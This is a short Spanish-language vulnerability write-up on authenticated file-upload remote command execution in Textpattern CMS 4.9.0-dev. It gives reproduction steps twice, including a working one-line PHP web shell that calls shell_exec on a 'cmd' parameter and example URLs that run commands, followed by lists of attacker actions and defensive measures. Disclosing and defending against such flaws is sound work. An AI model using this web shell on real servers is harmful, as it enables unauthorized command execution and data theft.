La vulnerabilidad en Textpattern CMS 4.9.0-dev permite la ejecución remota de comandos (RCE) a través de la carga de archivos. Los usuarios autenticados pueden subir archivos PHP sin restricciones, lo que permite la ejecución de comandos en el servidor.
Reproducción:
- Iniciar sesión como usuario root en Textpattern.
- Crear un archivo PHP (rce.php) con
<?php echo shell_exec($_GET['cmd']); ?>
. - Subir el archivo a través de ‘Content > Files’.
- Acceder al archivo y ejecutar comandos usando
cmd=id
.
Para más detalles, visita el repositorio en GitHub.
Aquí tienes los pasos para explotar la vulnerabilidad en Textpattern CMS 4.9.0-dev:
- Inicia sesión en Textpattern como usuario autenticado.
- Crea un archivo PHP malicioso, por ejemplo,
rce.php
, con el siguiente contenido:
<?php echo shell_exec($_GET['cmd']); ?>
- Sube el archivo a través de la opción “Content > Files” en el panel de administración de Textpattern.
- Accede al archivo subido en el servidor, utilizando una URL similar a:
http://tu-sitio.com/path/to/uploaded/rce.php?cmd=whoami
- Ejecuta comandos en el servidor remoto modificando el parámetro
cmd
en la URL.
Para más detalles, visita el repositorio en GitHub.
Acciones del atacante tras explotar la vulnerabilidad
- Ejecutar comandos del sistema 📜
- Escalar privilegios 🛠️
- Instalar malware 🦠
- Robo de datos 📂
- Crear cuentas de administrador 👤
- Eliminar o modificar archivos 🗑️
- Instalar backdoors 🚪
- Interrumpir servicios 🔧
- Desplegar ransomware 💰
- Capturar tráfico de red 🌐
Medidas de defensa
- Actualizar Textpattern: Usa la última versión del CMS.
- Restricciones de carga: Permitir solo tipos de archivos seguros.
- Validación y sanitización: Asegúrate de que los archivos subidos sean seguros.
- Permisos de archivos: Restringe permisos de escritura y ejecución.
- Monitoreo de logs: Revisa registros para detectar actividades sospechosas.
- Implementar WAF: Usa un firewall de aplicaciones web.
- Autenticación multifactor: Aumenta la seguridad de acceso.
- Copia de seguridad regular: Mantén copias de seguridad de los datos.
- Deshabilitar la ejecución de PHP: En directorios de carga.
- Capacitación de usuarios: Educa a los usuarios sobre prácticas de seguridad.